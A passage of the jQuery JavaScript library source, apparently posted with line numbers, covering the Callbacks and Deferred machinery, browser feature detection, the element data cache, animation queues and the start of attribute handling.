  1122. // Remove all callbacks from the list
  1123. empty: function() {
  1124. list = [];
  1125. return this;
  1126. },
  1127. // Have the list do nothing anymore
  1128. disable: function() {
  1129. list = stack = memory = undefined;
  1130. return this;
  1131. },
  1132. // Is it disabled?
  1133. disabled: function() {
  1134. return !list;
  1135. },
  1136. // Lock the list in its current state
  1137. lock: function() {
  1138. stack = undefined;
  1139. if ( !memory ) {
  1140. self.disable();
  1141. }
  1142. return this;
  1143. },
  1144. // Is it locked?
  1145. locked: function() {
  1146. return !stack;
  1147. },
  1148. // Call all callbacks with the given context and arguments
  1149. fireWith: function( context, args ) {
  1150. args = args || [];
  1151. args = [ context, args.slice ? args.slice() : args ];
  1152. if ( list && ( !fired || stack ) ) {
  1153. if ( firing ) {
  1154. stack.push( args );
  1155. } else {
  1156. fire( args );
  1157. }
  1158. }
  1159. return this;
  1160. },
  1161. // Call all the callbacks with the given arguments
  1162. fire: function() {
  1163. self.fireWith( this, arguments );
  1164. return this;
  1165. },
  1166. // To know if the callbacks have already been called at least once
  1167. fired: function() {
  1168. return !!fired;
  1169. }
  1170. };
  1171.  
  1172. return self;
  1173. };
  1174. jQuery.extend({
  1175.  
  1176. Deferred: function( func ) {
  1177. var tuples = [
  1178. // action, add listener, listener list, final state
  1179. [ "resolve", "done", jQuery.Callbacks("once memory"), "resolved" ],
  1180. [ "reject", "fail", jQuery.Callbacks("once memory"), "rejected" ],
  1181. [ "notify", "progress", jQuery.Callbacks("memory") ]
  1182. ],
  1183. state = "pending",
  1184. promise = {
  1185. state: function() {
  1186. return state;
  1187. },
  1188. always: function() {
  1189. deferred.done( arguments ).fail( arguments );
  1190. return this;
  1191. },
  1192. then: function( /* fnDone, fnFail, fnProgress */ ) {
  1193. var fns = arguments;
  1194. return jQuery.Deferred(function( newDefer ) {
  1195. jQuery.each( tuples, function( i, tuple ) {
  1196. var action = tuple[ 0 ],
  1197. fn = jQuery.isFunction( fns[ i ] ) && fns[ i ];
  1198. // deferred[ done | fail | progress ] for forwarding actions to newDefer
  1199. deferred[ tuple[1] ](function() {
  1200. var returned = fn && fn.apply( this, arguments );
  1201. if ( returned && jQuery.isFunction( returned.promise ) ) {
  1202. returned.promise()
  1203. .done( newDefer.resolve )
  1204. .fail( newDefer.reject )
  1205. .progress( newDefer.notify );
  1206. } else {
  1207. newDefer[ action + "With" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments );
  1208. }
  1209. });
  1210. });
  1211. fns = null;
  1212. }).promise();
  1213. },
  1214. // Get a promise for this deferred
  1215. // If obj is provided, the promise aspect is added to the object
  1216. promise: function( obj ) {
  1217. return obj != null ? jQuery.extend( obj, promise ) : promise;
  1218. }
  1219. },
  1220. deferred = {};
  1221.  
  1222. // Keep pipe for back-compat
  1223. promise.pipe = promise.then;
  1224.  
  1225. // Add list-specific methods
  1226. jQuery.each( tuples, function( i, tuple ) {
  1227. var list = tuple[ 2 ],
  1228. stateString = tuple[ 3 ];
  1229.  
  1230. // promise[ done | fail | progress ] = list.add
  1231. promise[ tuple[1] ] = list.add;
  1232.  
  1233. // Handle state
  1234. if ( stateString ) {
  1235. list.add(function() {
  1236. // state = [ resolved | rejected ]
  1237. state = stateString;
  1238.  
  1239. // [ reject_list | resolve_list ].disable; progress_list.lock
  1240. }, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock );
  1241. }
  1242.  
  1243. // deferred[ resolve | reject | notify ]
  1244. deferred[ tuple[0] ] = function() {
  1245. deferred[ tuple[0] + "With" ]( this === deferred ? promise : this, arguments );
  1246. return this;
  1247. };
  1248. deferred[ tuple[0] + "With" ] = list.fireWith;
  1249. });
  1250.  
  1251. // Make the deferred a promise
  1252. promise.promise( deferred );
  1253.  
  1254. // Call given func if any
  1255. if ( func ) {
  1256. func.call( deferred, deferred );
  1257. }
  1258.  
  1259. // All done!
  1260. return deferred;
  1261. },
  1262.  
  1263. // Deferred helper
  1264. when: function( subordinate /* , ..., subordinateN */ ) {
  1265. var i = 0,
  1266. resolveValues = core_slice.call( arguments ),
  1267. length = resolveValues.length,
  1268.  
  1269. // the count of uncompleted subordinates
  1270. remaining = length !== 1 || ( subordinate && jQuery.isFunction( subordinate.promise ) ) ? length : 0,
  1271.  
  1272. // the master Deferred. If resolveValues consist of only a single Deferred, just use that.
  1273. deferred = remaining === 1 ? subordinate : jQuery.Deferred(),
  1274.  
  1275. // Update function for both resolve and progress values
  1276. updateFunc = function( i, contexts, values ) {
  1277. return function( value ) {
  1278. contexts[ i ] = this;
  1279. values[ i ] = arguments.length > 1 ? core_slice.call( arguments ) : value;
  1280. if( values === progressValues ) {
  1281. deferred.notifyWith( contexts, values );
  1282. } else if ( !( --remaining ) ) {
  1283. deferred.resolveWith( contexts, values );
  1284. }
  1285. };
  1286. },
  1287.  
  1288. progressValues, progressContexts, resolveContexts;
  1289.  
  1290. // add listeners to Deferred subordinates; treat others as resolved
  1291. if ( length > 1 ) {
  1292. progressValues = new Array( length );
  1293. progressContexts = new Array( length );
  1294. resolveContexts = new Array( length );
  1295. for ( ; i < length; i++ ) {
  1296. if ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise ) ) {
  1297. resolveValues[ i ].promise()
  1298. .done( updateFunc( i, resolveContexts, resolveValues ) )
  1299. .fail( deferred.reject )
  1300. .progress( updateFunc( i, progressContexts, progressValues ) );
  1301. } else {
  1302. --remaining;
  1303. }
  1304. }
  1305. }
  1306.  
  1307. // if we're not waiting on anything, resolve the master
  1308. if ( !remaining ) {
  1309. deferred.resolveWith( resolveContexts, resolveValues );
  1310. }
  1311.  
  1312. return deferred.promise();
  1313. }
  1314. });
  1315. jQuery.support = (function() {
  1316.  
  1317. var support, all, a,
  1318. input, select, fragment,
  1319. opt, eventName, isSupported, i,
  1320. div = document.createElement("div");
  1321.  
  1322. // Setup
  1323. div.setAttribute( "className", "t" );
  1324. div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
  1325.  
  1326. // Support tests won't run in some limited or non-browser environments
  1327. all = div.getElementsByTagName("*");
  1328. a = div.getElementsByTagName("a")[ 0 ];
  1329. if ( !all || !a || !all.length ) {
  1330. return {};
  1331. }
  1332.  
  1333. // First batch of tests
  1334. select = document.createElement("select");
  1335. opt = select.appendChild( document.createElement("option") );
  1336. input = div.getElementsByTagName("input")[ 0 ];
  1337.  
  1338. a.style.cssText = "top:1px;float:left;opacity:.5";
  1339. support = {
  1340. // Test setAttribute on camelCase class. If it works, we need attrFixes when doing get/setAttribute (ie6/7)
  1341. getSetAttribute: div.className !== "t",
  1342.  
  1343. // IE strips leading whitespace when .innerHTML is used
  1344. leadingWhitespace: div.firstChild.nodeType === 3,
  1345.  
  1346. // Make sure that tbody elements aren't automatically inserted
  1347. // IE will insert them into empty tables
  1348. tbody: !div.getElementsByTagName("tbody").length,
  1349.  
  1350. // Make sure that link elements get serialized correctly by innerHTML
  1351. // This requires a wrapper element in IE
  1352. htmlSerialize: !!div.getElementsByTagName("link").length,
  1353.  
  1354. // Get the style information from getAttribute
  1355. // (IE uses .cssText instead)
  1356. style: /top/.test( a.getAttribute("style") ),
  1357.  
  1358. // Make sure that URLs aren't manipulated
  1359. // (IE normalizes it by default)
  1360. hrefNormalized: a.getAttribute("href") === "/a",
  1361.  
  1362. // Make sure that element opacity exists
  1363. // (IE uses filter instead)
  1364. // Use a regex to work around a WebKit issue. See #5145
  1365. opacity: /^0.5/.test( a.style.opacity ),
  1366.  
  1367. // Verify style float existence
  1368. // (IE uses styleFloat instead of cssFloat)
  1369. cssFloat: !!a.style.cssFloat,
  1370.  
  1371. // Check the default checkbox/radio value ("" on WebKit; "on" elsewhere)
  1372. checkOn: !!input.value,
  1373.  
  1374. // Make sure that a selected-by-default option has a working selected property.
  1375. // (WebKit defaults to false instead of true, IE too, if it's in an optgroup)
  1376. optSelected: opt.selected,
  1377.  
  1378. // Tests for enctype support on a form (#6743)
  1379. enctype: !!document.createElement("form").enctype,
  1380.  
  1381. // Makes sure cloning an html5 element does not cause problems
  1382. // Where outerHTML is undefined, this still works
  1383. html5Clone: document.createElement("nav").cloneNode( true ).outerHTML !== "<:nav></:nav>",
  1384.  
  1385. // jQuery.support.boxModel DEPRECATED in 1.8 since we don't support Quirks Mode
  1386. boxModel: document.compatMode === "CSS1Compat",
  1387.  
  1388. // Will be defined later
  1389. deleteExpando: true,
  1390. noCloneEvent: true,
  1391. inlineBlockNeedsLayout: false,
  1392. shrinkWrapBlocks: false,
  1393. reliableMarginRight: true,
  1394. boxSizingReliable: true,
  1395. pixelPosition: false
  1396. };
  1397.  
  1398. // Make sure checked status is properly cloned
  1399. input.checked = true;
  1400. support.noCloneChecked = input.cloneNode( true ).checked;
  1401.  
  1402. // Make sure that the options inside disabled selects aren't marked as disabled
  1403. // (WebKit marks them as disabled)
  1404. select.disabled = true;
  1405. support.optDisabled = !opt.disabled;
  1406.  
  1407. // Support: IE<9
  1408. try {
  1409. delete div.test;
  1410. } catch( e ) {
  1411. support.deleteExpando = false;
  1412. }
  1413.  
  1414. // Check if we can trust getAttribute("value")
  1415. input = document.createElement("input");
  1416. input.setAttribute( "value", "" );
  1417. support.input = input.getAttribute( "value" ) === "";
  1418.  
  1419. // Check if an input maintains its value after becoming a radio
  1420. input.value = "t";
  1421. input.setAttribute( "type", "radio" );
  1422. support.radioValue = input.value === "t";
  1423.  
  1424. // #11217 - WebKit loses check when the name is after the checked attribute
  1425. input.setAttribute( "checked", "t" );
  1426. input.setAttribute( "name", "t" );
  1427.  
  1428. fragment = document.createDocumentFragment();
  1429. fragment.appendChild( input );
  1430.  
  1431. // Check if a disconnected checkbox will retain its checked
  1432. // value of true after appended to the DOM (IE6/7)
  1433. support.appendChecked = input.checked;
  1434.  
  1435. // WebKit doesn't clone checked state correctly in fragments
  1436. support.checkClone = fragment.cloneNode( true ).cloneNode( true ).lastChild.checked;
  1437.  
  1438. // Support: IE<9
  1439. // Opera does not clone events (and typeof div.attachEvent === undefined).
  1440. // IE9-10 clones events bound via attachEvent, but they don't trigger with .click()
  1441. if ( div.attachEvent ) {
  1442. div.attachEvent( "onclick", function() {
  1443. support.noCloneEvent = false;
  1444. });
  1445.  
  1446. div.cloneNode( true ).click();
  1447. }
  1448.  
  1449. // Support: IE<9 (lack submit/change bubble), Firefox 17+ (lack focusin event)
  1450. // Beware of CSP restrictions (https://developer.mozilla.org/en/Security/CSP), test/csp.php
  1451. for ( i in { submit: true, change: true, focusin: true }) {
  1452. div.setAttribute( eventName = "on" + i, "t" );
  1453.  
  1454. support[ i + "Bubbles" ] = eventName in window || div.attributes[ eventName ].expando === false;
  1455. }
  1456.  
  1457. div.style.backgroundClip = "content-box";
  1458. div.cloneNode( true ).style.backgroundClip = "";
  1459. support.clearCloneStyle = div.style.backgroundClip === "content-box";
  1460.  
  1461. // Run tests that need a body at doc ready
  1462. jQuery(function() {
  1463. var container, marginDiv, tds,
  1464. divReset = "padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",
  1465. body = document.getElementsByTagName("body")[0];
  1466.  
  1467. if ( !body ) {
  1468. // Return for frameset docs that don't have a body
  1469. return;
  1470. }
  1471.  
  1472. container = document.createElement("div");
  1473. container.style.cssText = "border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px";
  1474.  
  1475. body.appendChild( container ).appendChild( div );
  1476.  
  1477. // Support: IE8
  1478. // Check if table cells still have offsetWidth/Height when they are set
  1479. // to display:none and there are still other visible table cells in a
  1480. // table row; if so, offsetWidth/Height are not reliable for use when
  1481. // determining if an element has been hidden directly using
  1482. // display:none (it is still safe to use offsets if a parent element is
  1483. // hidden; don safety goggles and see bug #4512 for more information).
  1484. div.innerHTML = "<table><tr><td></td><td>t</td></tr></table>";
  1485. tds = div.getElementsByTagName("td");
  1486. tds[ 0 ].style.cssText = "padding:0;margin:0;border:0;display:none";
  1487. isSupported = ( tds[ 0 ].offsetHeight === 0 );
  1488.  
  1489. tds[ 0 ].style.display = "";
  1490. tds[ 1 ].style.display = "none";
  1491.  
  1492. // Support: IE8
  1493. // Check if empty table cells still have offsetWidth/Height
  1494. support.reliableHiddenOffsets = isSupported && ( tds[ 0 ].offsetHeight === 0 );
  1495.  
  1496. // Check box-sizing and margin behavior
  1497. div.innerHTML = "";
  1498. div.style.cssText = "box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;";
  1499. support.boxSizing = ( div.offsetWidth === 4 );
  1500. support.doesNotIncludeMarginInBodyOffset = ( body.offsetTop !== 1 );
  1501.  
  1502. // Use window.getComputedStyle because jsdom on node.js will break without it.
  1503. if ( window.getComputedStyle ) {
  1504. support.pixelPosition = ( window.getComputedStyle( div, null ) || {} ).top !== "1%";
  1505. support.boxSizingReliable = ( window.getComputedStyle( div, null ) || { width: "4px" } ).width === "4px";
  1506.  
  1507. // Check if div with explicit width and no margin-right incorrectly
  1508. // gets computed margin-right based on width of container. (#3333)
  1509. // Fails in WebKit before Feb 2011 nightlies
  1510. // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
  1511. marginDiv = div.appendChild( document.createElement("div") );
  1512. marginDiv.style.cssText = div.style.cssText = divReset;
  1513. marginDiv.style.marginRight = marginDiv.style.width = "0";
  1514. div.style.width = "1px";
  1515.  
  1516. support.reliableMarginRight =
  1517. !parseFloat( ( window.getComputedStyle( marginDiv, null ) || {} ).marginRight );
  1518. }
  1519.  
  1520. if ( typeof div.style.zoom !== core_strundefined ) {
  1521. // Support: IE<8
  1522. // Check if natively block-level elements act like inline-block
  1523. // elements when setting their display to 'inline' and giving
  1524. // them layout
  1525. div.innerHTML = "";
  1526. div.style.cssText = divReset + "width:1px;padding:1px;display:inline;zoom:1";
  1527. support.inlineBlockNeedsLayout = ( div.offsetWidth === 3 );
  1528.  
  1529. // Support: IE6
  1530. // Check if elements with layout shrink-wrap their children
  1531. div.style.display = "block";
  1532. div.innerHTML = "<div></div>";
  1533. div.firstChild.style.width = "5px";
  1534. support.shrinkWrapBlocks = ( div.offsetWidth !== 3 );
  1535.  
  1536. if ( support.inlineBlockNeedsLayout ) {
  1537. // Prevent IE 6 from affecting layout for positioned elements #11048
  1538. // Prevent IE from shrinking the body in IE 7 mode #12869
  1539. // Support: IE<8
  1540. body.style.zoom = 1;
  1541. }
  1542. }
  1543.  
  1544. body.removeChild( container );
  1545.  
  1546. // Null elements to avoid leaks in IE
  1547. container = div = tds = marginDiv = null;
  1548. });
  1549.  
  1550. // Null elements to avoid leaks in IE
  1551. all = select = fragment = opt = a = input = null;
  1552.  
  1553. return support;
  1554. })();
  1555.  
  1556. var rbrace = /(?:\{[\s\S]*\}|\[[\s\S]*\])$/,
  1557. rmultiDash = /([A-Z])/g;
  1558.  
  1559. function internalData( elem, name, data, pvt /* Internal Use Only */ ){
  1560. if ( !jQuery.acceptData( elem ) ) {
  1561. return;
  1562. }
  1563.  
  1564. var thisCache, ret,
  1565. internalKey = jQuery.expando,
  1566. getByName = typeof name === "string",
  1567.  
  1568. // We have to handle DOM nodes and JS objects differently because IE6-7
  1569. // can't GC object references properly across the DOM-JS boundary
  1570. isNode = elem.nodeType,
  1571.  
  1572. // Only DOM nodes need the global jQuery cache; JS object data is
  1573. // attached directly to the object so GC can occur automatically
  1574. cache = isNode ? jQuery.cache : elem,
  1575.  
  1576. // Only defining an ID for JS objects if its cache already exists allows
  1577. // the code to shortcut on the same path as a DOM node with no cache
  1578. id = isNode ? elem[ internalKey ] : elem[ internalKey ] && internalKey;
  1579.  
  1580. // Avoid doing any more work than we need to when trying to get data on an
  1581. // object that has no data at all
  1582. if ( (!id || !cache[id] || (!pvt && !cache[id].data)) && getByName && data === undefined ) {
  1583. return;
  1584. }
  1585.  
  1586. if ( !id ) {
  1587. // Only DOM nodes need a new unique ID for each element since their data
  1588. // ends up in the global cache
  1589. if ( isNode ) {
  1590. elem[ internalKey ] = id = core_deletedIds.pop() || jQuery.guid++;
  1591. } else {
  1592. id = internalKey;
  1593. }
  1594. }
  1595.  
  1596. if ( !cache[ id ] ) {
  1597. cache[ id ] = {};
  1598.  
  1599. // Avoids exposing jQuery metadata on plain JS objects when the object
  1600. // is serialized using JSON.stringify
  1601. if ( !isNode ) {
  1602. cache[ id ].toJSON = jQuery.noop;
  1603. }
  1604. }
  1605.  
  1606. // An object can be passed to jQuery.data instead of a key/value pair; this gets
  1607. // shallow copied over onto the existing cache
  1608. if ( typeof name === "object" || typeof name === "function" ) {
  1609. if ( pvt ) {
  1610. cache[ id ] = jQuery.extend( cache[ id ], name );
  1611. } else {
  1612. cache[ id ].data = jQuery.extend( cache[ id ].data, name );
  1613. }
  1614. }
  1615.  
  1616. thisCache = cache[ id ];
  1617.  
  1618. // jQuery data() is stored in a separate object inside the object's internal data
  1619. // cache in order to avoid key collisions between internal data and user-defined
  1620. // data.
  1621. if ( !pvt ) {
  1622. if ( !thisCache.data ) {
  1623. thisCache.data = {};
  1624. }
  1625.  
  1626. thisCache = thisCache.data;
  1627. }
  1628.  
  1629. if ( data !== undefined ) {
  1630. thisCache[ jQuery.camelCase( name ) ] = data;
  1631. }
  1632.  
  1633. // Check for both converted-to-camel and non-converted data property names
  1634. // If a data property was specified
  1635. if ( getByName ) {
  1636.  
  1637. // First Try to find as-is property data
  1638. ret = thisCache[ name ];
  1639.  
  1640. // Test for null|undefined property data
  1641. if ( ret == null ) {
  1642.  
  1643. // Try to find the camelCased property
  1644. ret = thisCache[ jQuery.camelCase( name ) ];
  1645. }
  1646. } else {
  1647. ret = thisCache;
  1648. }
  1649.  
  1650. return ret;
  1651. }
  1652.  
  1653. function internalRemoveData( elem, name, pvt ) {
  1654. if ( !jQuery.acceptData( elem ) ) {
  1655. return;
  1656. }
  1657.  
  1658. var i, l, thisCache,
  1659. isNode = elem.nodeType,
  1660.  
  1661. // See jQuery.data for more information
  1662. cache = isNode ? jQuery.cache : elem,
  1663. id = isNode ? elem[ jQuery.expando ] : jQuery.expando;
  1664.  
  1665. // If there is already no cache entry for this object, there is no
  1666. // purpose in continuing
  1667. if ( !cache[ id ] ) {
  1668. return;
  1669. }
  1670.  
  1671. if ( name ) {
  1672.  
  1673. thisCache = pvt ? cache[ id ] : cache[ id ].data;
  1674.  
  1675. if ( thisCache ) {
  1676.  
  1677. // Support array or space separated string names for data keys
  1678. if ( !jQuery.isArray( name ) ) {
  1679.  
  1680. // try the string as a key before any manipulation
  1681. if ( name in thisCache ) {
  1682. name = [ name ];
  1683. } else {
  1684.  
  1685. // split the camel cased version by spaces unless a key with the spaces exists
  1686. name = jQuery.camelCase( name );
  1687. if ( name in thisCache ) {
  1688. name = [ name ];
  1689. } else {
  1690. name = name.split(" ");
  1691. }
  1692. }
  1693. } else {
  1694. // If "name" is an array of keys...
  1695. // When data is initially created, via ("key", "val") signature,
  1696. // keys will be converted to camelCase.
  1697. // Since there is no way to tell _how_ a key was added, remove
  1698. // both plain key and camelCase key. #12786
  1699. // This will only penalize the array argument path.
  1700. name = name.concat( jQuery.map( name, jQuery.camelCase ) );
  1701. }
  1702.  
  1703. for ( i = 0, l = name.length; i < l; i++ ) {
  1704. delete thisCache[ name[i] ];
  1705. }
  1706.  
  1707. // If there is no data left in the cache, we want to continue
  1708. // and let the cache object itself get destroyed
  1709. if ( !( pvt ? isEmptyDataObject : jQuery.isEmptyObject )( thisCache ) ) {
  1710. return;
  1711. }
  1712. }
  1713. }
  1714.  
  1715. // See jQuery.data for more information
  1716. if ( !pvt ) {
  1717. delete cache[ id ].data;
  1718.  
  1719. // Don't destroy the parent cache unless the internal data object
  1720. // had been the only thing left in it
  1721. if ( !isEmptyDataObject( cache[ id ] ) ) {
  1722. return;
  1723. }
  1724. }
  1725.  
  1726. // Destroy the cache
  1727. if ( isNode ) {
  1728. jQuery.cleanData( [ elem ], true );
  1729.  
  1730. // Use delete when supported for expandos or `cache` is not a window per isWindow (#10080)
  1731. } else if ( jQuery.support.deleteExpando || cache != cache.window ) {
  1732. delete cache[ id ];
  1733.  
  1734. // When all else fails, null
  1735. } else {
  1736. cache[ id ] = null;
  1737. }
  1738. }
  1739.  
  1740. jQuery.extend({
  1741. cache: {},
  1742.  
  1743. // Unique for each copy of jQuery on the page
  1744. // Non-digits removed to match rinlinejQuery
  1745. expando: "jQuery" + ( core_version + Math.random() ).replace( /\D/g, "" ),
  1746.  
  1747. // The following elements throw uncatchable exceptions if you
  1748. // attempt to add expando properties to them.
  1749. noData: {
  1750. "embed": true,
  1751. // Ban all objects except for Flash (which handle expandos)
  1752. "object": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",
  1753. "applet": true
  1754. },
  1755.  
  1756. hasData: function( elem ) {
  1757. elem = elem.nodeType ? jQuery.cache[ elem[jQuery.expando] ] : elem[ jQuery.expando ];
  1758. return !!elem && !isEmptyDataObject( elem );
  1759. },
  1760.  
  1761. data: function( elem, name, data ) {
  1762. return internalData( elem, name, data );
  1763. },
  1764.  
  1765. removeData: function( elem, name ) {
  1766. return internalRemoveData( elem, name );
  1767. },
  1768.  
  1769. // For internal use only.
  1770. _data: function( elem, name, data ) {
  1771. return internalData( elem, name, data, true );
  1772. },
  1773.  
  1774. _removeData: function( elem, name ) {
  1775. return internalRemoveData( elem, name, true );
  1776. },
  1777.  
  1778. // A method for determining if a DOM node can handle the data expando
  1779. acceptData: function( elem ) {
  1780. // Do not set data on non-element because it will not be cleared (#8335).
  1781. if ( elem.nodeType && elem.nodeType !== 1 && elem.nodeType !== 9 ) {
  1782. return false;
  1783. }
  1784.  
  1785. var noData = elem.nodeName && jQuery.noData[ elem.nodeName.toLowerCase() ];
  1786.  
  1787. // nodes accept data unless otherwise specified; rejection can be conditional
  1788. return !noData || noData !== true && elem.getAttribute("classid") === noData;
  1789. }
  1790. });
  1791.  
  1792. jQuery.fn.extend({
  1793. data: function( key, value ) {
  1794. var attrs, name,
  1795. elem = this[0],
  1796. i = 0,
  1797. data = null;
  1798.  
  1799. // Gets all values
  1800. if ( key === undefined ) {
  1801. if ( this.length ) {
  1802. data = jQuery.data( elem );
  1803.  
  1804. if ( elem.nodeType === 1 && !jQuery._data( elem, "parsedAttrs" ) ) {
  1805. attrs = elem.attributes;
  1806. for ( ; i < attrs.length; i++ ) {
  1807. name = attrs[i].name;
  1808.  
  1809. if ( !name.indexOf( "data-" ) ) {
  1810. name = jQuery.camelCase( name.slice(5) );
  1811.  
  1812. dataAttr( elem, name, data[ name ] );
  1813. }
  1814. }
  1815. jQuery._data( elem, "parsedAttrs", true );
  1816. }
  1817. }
  1818.  
  1819. return data;
  1820. }
  1821.  
  1822. // Sets multiple values
  1823. if ( typeof key === "object" ) {
  1824. return this.each(function() {
  1825. jQuery.data( this, key );
  1826. });
  1827. }
  1828.  
  1829. return jQuery.access( this, function( value ) {
  1830.  
  1831. if ( value === undefined ) {
  1832. // Try to fetch any internally stored data first
  1833. return elem ? dataAttr( elem, key, jQuery.data( elem, key ) ) : null;
  1834. }
  1835.  
  1836. this.each(function() {
  1837. jQuery.data( this, key, value );
  1838. });
  1839. }, null, value, arguments.length > 1, null, true );
  1840. },
  1841.  
  1842. removeData: function( key ) {
  1843. return this.each(function() {
  1844. jQuery.removeData( this, key );
  1845. });
  1846. }
  1847. });
  1848.  
  1849. function dataAttr( elem, key, data ) {
  1850. // If nothing was found internally, try to fetch any
  1851. // data from the HTML5 data-* attribute
  1852. if ( data === undefined && elem.nodeType === 1 ) {
  1853.  
  1854. var name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase();
  1855.  
  1856. data = elem.getAttribute( name );
  1857.  
  1858. if ( typeof data === "string" ) {
  1859. try {
  1860. data = data === "true" ? true :
  1861. data === "false" ? false :
  1862. data === "null" ? null :
  1863. // Only convert to a number if it doesn't change the string
  1864. +data + "" === data ? +data :
  1865. rbrace.test( data ) ? jQuery.parseJSON( data ) :
  1866. data;
  1867. } catch( e ) {}
  1868.  
  1869. // Make sure we set the data so it isn't changed later
  1870. jQuery.data( elem, key, data );
  1871.  
  1872. } else {
  1873. data = undefined;
  1874. }
  1875. }
  1876.  
  1877. return data;
  1878. }
  1879.  
  1880. // checks a cache object for emptiness
  1881. function isEmptyDataObject( obj ) {
  1882. var name;
  1883. for ( name in obj ) {
  1884.  
  1885. // if the public data object is empty, the private is still empty
  1886. if ( name === "data" && jQuery.isEmptyObject( obj[name] ) ) {
  1887. continue;
  1888. }
  1889. if ( name !== "toJSON" ) {
  1890. return false;
  1891. }
  1892. }
  1893.  
  1894. return true;
  1895. }
  1896. jQuery.extend({
  1897. queue: function( elem, type, data ) {
  1898. var queue;
  1899.  
  1900. if ( elem ) {
  1901. type = ( type || "fx" ) + "queue";
  1902. queue = jQuery._data( elem, type );
  1903.  
  1904. // Speed up dequeue by getting out quickly if this is just a lookup
  1905. if ( data ) {
  1906. if ( !queue || jQuery.isArray(data) ) {
  1907. queue = jQuery._data( elem, type, jQuery.makeArray(data) );
  1908. } else {
  1909. queue.push( data );
  1910. }
  1911. }
  1912. return queue || [];
  1913. }
  1914. },
  1915.  
  1916. dequeue: function( elem, type ) {
  1917. type = type || "fx";
  1918.  
  1919. var queue = jQuery.queue( elem, type ),
  1920. startLength = queue.length,
  1921. fn = queue.shift(),
  1922. hooks = jQuery._queueHooks( elem, type ),
  1923. next = function() {
  1924. jQuery.dequeue( elem, type );
  1925. };
  1926.  
  1927. // If the fx queue is dequeued, always remove the progress sentinel
  1928. if ( fn === "inprogress" ) {
  1929. fn = queue.shift();
  1930. startLength--;
  1931. }
  1932.  
  1933. hooks.cur = fn;
  1934. if ( fn ) {
  1935.  
  1936. // Add a progress sentinel to prevent the fx queue from being
  1937. // automatically dequeued
  1938. if ( type === "fx" ) {
  1939. queue.unshift( "inprogress" );
  1940. }
  1941.  
  1942. // clear up the last queue stop function
  1943. delete hooks.stop;
  1944. fn.call( elem, next, hooks );
  1945. }
  1946.  
  1947. if ( !startLength && hooks ) {
  1948. hooks.empty.fire();
  1949. }
  1950. },
  1951.  
  1952. // not intended for public consumption - generates a queueHooks object, or returns the current one
  1953. _queueHooks: function( elem, type ) {
  1954. var key = type + "queueHooks";
  1955. return jQuery._data( elem, key ) || jQuery._data( elem, key, {
  1956. empty: jQuery.Callbacks("once memory").add(function() {
  1957. jQuery._removeData( elem, type + "queue" );
  1958. jQuery._removeData( elem, key );
  1959. })
  1960. });
  1961. }
  1962. });
  1963.  
  1964. jQuery.fn.extend({
  1965. queue: function( type, data ) {
  1966. var setter = 2;
  1967.  
  1968. if ( typeof type !== "string" ) {
  1969. data = type;
  1970. type = "fx";
  1971. setter--;
  1972. }
  1973.  
  1974. if ( arguments.length < setter ) {
  1975. return jQuery.queue( this[0], type );
  1976. }
  1977.  
  1978. return data === undefined ?
  1979. this :
  1980. this.each(function() {
  1981. var queue = jQuery.queue( this, type, data );
  1982.  
  1983. // ensure a hooks for this queue
  1984. jQuery._queueHooks( this, type );
  1985.  
  1986. if ( type === "fx" && queue[0] !== "inprogress" ) {
  1987. jQuery.dequeue( this, type );
  1988. }
  1989. });
  1990. },
  1991. dequeue: function( type ) {
  1992. return this.each(function() {
  1993. jQuery.dequeue( this, type );
  1994. });
  1995. },
  1996. // Based off of the plugin by Clint Helfers, with permission.
  1997. // http://blindsignals.com/index.php/2009/07/jquery-delay/
  1998. delay: function( time, type ) {
  1999. time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
  2000. type = type || "fx";
  2001.  
  2002. return this.queue( type, function( next, hooks ) {
  2003. var timeout = setTimeout( next, time );
  2004. hooks.stop = function() {
  2005. clearTimeout( timeout );
  2006. };
  2007. });
  2008. },
  2009. clearQueue: function( type ) {
  2010. return this.queue( type || "fx", [] );
  2011. },
  2012. // Get a promise resolved when queues of a certain type
  2013. // are emptied (fx is the type by default)
  2014. promise: function( type, obj ) {
  2015. var tmp,
  2016. count = 1,
  2017. defer = jQuery.Deferred(),
  2018. elements = this,
  2019. i = this.length,
  2020. resolve = function() {
  2021. if ( !( --count ) ) {
  2022. defer.resolveWith( elements, [ elements ] );
  2023. }
  2024. };
  2025.  
  2026. if ( typeof type !== "string" ) {
  2027. obj = type;
  2028. type = undefined;
  2029. }
  2030. type = type || "fx";
  2031.  
  2032. while( i-- ) {
  2033. tmp = jQuery._data( elements[ i ], type + "queueHooks" );
  2034. if ( tmp && tmp.empty ) {
  2035. count++;
  2036. tmp.empty.add( resolve );
  2037. }
  2038. }
  2039. resolve();
  2040. return defer.promise( obj );
  2041. }
  2042. });
  2043. var nodeHook, boolHook,
  2044. rclass = /[\t\r\n]/g,
  2045. rreturn = /\r/g,
  2046. rfocusable = /^(?:input|select|textarea|button|object)$/i,
  2047. rclickable = /^(?:a|area)$/i,
  2048. rboolean = /^(?:checked|selected|autofocus|autoplay|async|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped)$/i,
  2049. ruseDefault = /^(?:checked|selected)$/i,
  2050. getSetAttribute = jQuery.support.getSetAttribute,
  2051. getSetInput = jQuery.support.input;
  2052.  
  2053. jQuery.fn.extend({
  2054. attr: function( name, value ) {
  2055. return jQuery.access( this, jQuery.attr, name, value, arguments.length > 1 );
  2056. },
  2057.  
  2058. removeAttr: function( name ) {
  2059. return this.each(function() {
  2060. jQuery.removeAttr( this, name );
  2061. });
  2062. },
  2063.  
  2064. prop: function( name, value ) {
  2065. return jQuery.access( this, jQuery.prop, name, value, arguments.length > 1 );
  2066. },
  2067.  
  2068. removeProp: function( name ) {
  2069. name = jQuery.propFix[ name ] || name;
  2070. return this.each(function() {
  2071. // try/catch handles cases where IE balks (such as removing a property on window)
